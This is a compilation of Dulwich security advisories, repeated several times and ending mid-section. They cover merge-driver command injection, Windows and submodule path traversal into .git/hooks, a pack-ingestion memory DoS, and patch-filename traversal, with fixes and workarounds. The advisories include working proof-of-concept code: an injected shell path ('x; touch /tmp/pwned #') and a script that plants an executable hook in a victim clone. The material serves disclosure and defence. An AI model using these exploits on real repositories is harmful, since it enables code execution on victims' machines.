Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

• Type: Command Injection
• Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
• Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
• Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

• Repository: https://github.com/dulwich/dulwich
• Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

• \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
• : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
• git~ — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

• Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
• Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
• Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.

Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources

• Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
• CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
• CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

• Package: dulwich (PyPI)
• Affected versions: >=0.23.2, <1.2.5
• Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points:

• dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
• dulwich.porcelain.clone(source, target, recurse_submodules=True)
• dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

1. path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
2. submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
3. build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) - for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

• Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
• Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.

Resources

• git's receive.maxInputSize / git index-pack --max-input-size documentation
• Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @ University of Sydney

Impact

dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, ), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch").

A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples:

• x/../../x produced /0001-x/../../x.patch, resolving two directories above outdir.
• x....\x produced the equivalent escape on Windows, here \ is also a path separator.

Related issues from the same root cause:

• Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded.
• Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them.

Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade.

dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only [A-Za-z0-9._] are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject.

Workarounds

Until upgrading, callers that pass untrusted commits to porcelain.format_patch can:

• Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename.
• Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir.
• Pre-screen commits and refuse to format any whose subject's first line contains /, , .., or other characters that are not safe on the target filesystem.

Resources

• Fix commit: https://github.com/jelmer/dulwich/commit/c2446e51b
• Affected API: dulwich.porcelain.format_patch / dulwich format-patch
• Reference behavior: git's format_sanitized_subject in pretty.c

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

• Type: Command Injection
• Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
• Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
• Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

• Repository: https://github.com/dulwich/dulwich
• Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

• \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
• : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
• git~ — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

• Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
• Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
• Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.

Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources

• Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
• CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
• CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

• Package: dulwich (PyPI)
• Affected versions: >=0.23.2, <1.2.5
• Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points:

• dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
• dulwich.porcelain.clone(source, target, recurse_submodules=True)
• dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

1. path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
2. submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
3. build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) - for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

• Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
• Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.

Resources

• git's receive.maxInputSize / git index-pack --max-input-size documentation
• Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @ University of Sydney

Impact

dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, ), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch").

A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples:

• x/../../x produced /0001-x/../../x.patch, resolving two directories above outdir.
• x....\x produced the equivalent escape on Windows, here \ is also a path separator.

Related issues from the same root cause:

• Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded.
• Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them.

Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade.

dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only [A-Za-z0-9._] are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject.

Workarounds

Until upgrading, callers that pass untrusted commits to porcelain.format_patch can:

• Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename.
• Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir.
• Pre-screen commits and refuse to format any whose subject's first line contains /, , .., or other characters that are not safe on the target filesystem.

Resources

• Fix commit: https://github.com/jelmer/dulwich/commit/c2446e51b
• Affected API: dulwich.porcelain.format_patch / dulwich format-patch
• Reference behavior: git's format_sanitized_subject in pretty.c

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

• Type: Command Injection
• Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
• Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
• Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

• Repository: https://github.com/dulwich/dulwich
• Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

• \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
• : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
• git~ — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

• Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
• Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
• Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.

Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources

• Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
• CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
• CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

• Package: dulwich (PyPI)
• Affected versions: >=0.23.2, <1.2.5
• Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points:

• dulwich.porcelain.submodule_update(repo, init=True, recursive=True)
• dulwich.porcelain.clone(source, target, recurse_submodules=True)
• dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

